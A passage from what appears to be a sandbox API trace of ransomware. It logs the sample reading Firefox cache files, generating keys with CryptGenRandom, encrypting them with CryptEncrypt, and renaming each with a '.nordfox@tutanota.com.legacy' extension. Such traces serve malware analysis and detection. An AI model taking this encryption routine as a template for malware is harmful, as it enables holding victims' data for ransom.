lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.370] CloseHandle (hObject=0x1b80) returned 1 [0188.370] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\50368cb52eb7460247084562523d1ae6e2d6ff15"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\50368CB52EB7460247084562523D1AE6E2D6FF15.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\50368cb52eb7460247084562523d1ae6e2d6ff15.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.373] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd6a8 | out: pbBuffer=0x30dd6a8) returned 1 [0188.373] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0188.373] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17", dwFileAttributes=0x80) returned 1 [0188.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd9c0 [0188.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.373] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fca54fc9b5c08f4a61c96d6642c029b00e50f17"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.374] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=43864) returned 1 [0188.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xab58) returned 0x30df058 [0188.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xab58) returned 0x2eeb018 [0188.374] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0xab58, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0xab58, lpOverlapped=0x0) returned 1 [0188.416] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-43864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.416] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0xab58, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xab58, lpOverlapped=0x0) returned 1 [0188.417] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xab58 [0188.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd6a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.417] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd6a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd6a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.417] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.417] CloseHandle (hObject=0x1b80) returned 1 [0188.417] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fca54fc9b5c08f4a61c96d6642c029b00e50f17"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FCA54FC9B5C08F4A61C96D6642C029B00E50F17.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fca54fc9b5c08f4a61c96d6642c029b00e50f17.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd9c0 | out: pbBuffer=0x30dd9c0) returned 1 [0188.420] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0188.420] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF", dwFileAttributes=0x80) returned 1 [0188.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30dd5a0 [0188.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fc87940361f2b04b3366cc184210d87808060bf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.420] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=36132) returned 1 [0188.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d24) returned 0x30df058 [0188.421] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8d24) returned 0x2eeb018 [0188.421] ReadFile (in: hFile=0x1b80, lpBuffer=0x30df058, nNumberOfBytesToRead=0x8d24, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df058*, lpNumberOfBytesRead=0x2e1f9bc*=0x8d24, lpOverlapped=0x0) returned 1 [0188.473] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-36132, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.473] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x8d24, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8d24, lpOverlapped=0x0) returned 1 [0188.473] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x8d24 [0188.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.473] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.473] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd9c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd9c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.474] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.474] CloseHandle (hObject=0x1b80) returned 1 [0188.474] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fc87940361f2b04b3366cc184210d87808060bf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FC87940361F2B04B3366CC184210D87808060BF.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fc87940361f2b04b3366cc184210d87808060bf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30de0f8 | out: pbBuffer=0x30de0f8) returned 1 [0188.476] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.476] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18", dwFileAttributes=0x80) returned 1 [0188.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ded58 [0188.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.477] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fbcda21acae6c9fd6b604c7a16bae88e45f4d18"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.477] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3981) returned 1 [0188.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8d) returned 0x30f3888 [0188.477] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf8d) returned 0x30f4820 [0188.477] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xf8d, lpOverlapped=0x0) returned 1 [0188.479] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3981, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.479] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4820*, nNumberOfBytesToWrite=0xf8d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4820*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf8d, lpOverlapped=0x0) returned 1 [0188.480] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf8d [0188.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30de0f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30de0f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.480] WriteFile (in: hFile=0x1b80, lpBuffer=0x30de0f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.480] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.480] CloseHandle (hObject=0x1b80) returned 1 [0188.480] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fbcda21acae6c9fd6b604c7a16bae88e45f4d18"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4fbcda21acae6c9fd6b604c7a16bae88e45f4d18.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dd9c0 | out: pbBuffer=0x30dd9c0) returned 1 [0188.482] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.482] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9", dwFileAttributes=0x80) returned 1 [0188.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de620 [0188.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.482] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f680e68b8c682b5d2540fa7be7b7f0d7521d9c9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.483] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0188.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x555b90 [0188.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x61ec60 [0188.483] ReadFile (in: hFile=0x1b80, lpBuffer=0x555b90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0188.484] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.484] WriteFile (in: hFile=0x1b80, lpBuffer=0x61ec60*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0188.484] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0188.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.484] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dd9c0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dd9c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd9c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.485] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.485] CloseHandle (hObject=0x1b80) returned 1 [0188.485] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f680e68b8c682b5d2540fa7be7b7f0d7521d9c9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f680e68b8c682b5d2540fa7be7b7f0d7521d9c9.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.486] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dee60 | out: pbBuffer=0x30dee60) returned 1 [0188.486] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.486] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94", dwFileAttributes=0x80) returned 1 [0188.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de938 [0188.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.487] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f5b7c56cef8f02506bb0bb5ab3ad85843369f94"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.487] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3381) returned 1 [0188.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd35) returned 0x30f3888 [0188.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd35) returned 0x30f45c8 [0188.487] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xd35, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xd35, lpOverlapped=0x0) returned 1 [0188.501] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3381, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.501] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f45c8*, nNumberOfBytesToWrite=0xd35, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f45c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd35, lpOverlapped=0x0) returned 1 [0188.501] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd35 [0188.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.502] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dee60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dee60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.502] WriteFile (in: hFile=0x1b80, lpBuffer=0x30dee60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dee60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.502] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.502] CloseHandle (hObject=0x1b80) returned 1 [0188.503] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f5b7c56cef8f02506bb0bb5ab3ad85843369f94"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f5b7c56cef8f02506bb0bb5ab3ad85843369f94.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0188.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ded58 | out: pbBuffer=0x30ded58) returned 1 [0188.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0188.522] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926", dwFileAttributes=0x80) returned 1 [0188.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30de620 [0188.541] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0188.541] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\4F0C54EEF677196E2899E5E79B4F3A906E46F926" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\4f0c54eef677196e2899e5e79b4f3a906e46f926"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0188.542] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3625) returned 1 [0188.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30f3888 [0188.542] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe29) returned 0x30f46c0 [0188.542] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe29, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0188.554] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.554] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46c0*, nNumberOfBytesToWrite=0xe29, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe29, lpOverlapped=0x0) returned 1 [0188.555] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe29 [0188.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0188.555] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ded58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ded58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0188.555] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ded58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ded58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0188.555] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0188.555] CloseHandle (hObject=0x1b80) returned 1 [0188.556] MoveFileExW 